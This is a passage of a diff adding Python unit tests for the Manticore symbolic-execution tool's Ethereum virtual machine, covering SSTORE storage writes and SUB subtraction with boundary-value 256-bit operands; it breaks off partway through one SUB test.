+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 48}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 6089590155545428825848686802984512581899718912L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSUB.py b/tests/EVM/test_EVMSUB.py
new file mode 100644
index 0000000..f120464
--- /dev/null
+++ b/tests/EVM/test_EVMSUB.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SUB(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SUB_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SUB_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_SUB_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_SUB_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_SUB_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_SUB_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_SUB_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_SUB_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_SUB_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SUB_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SUB_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SUB_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SUB_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
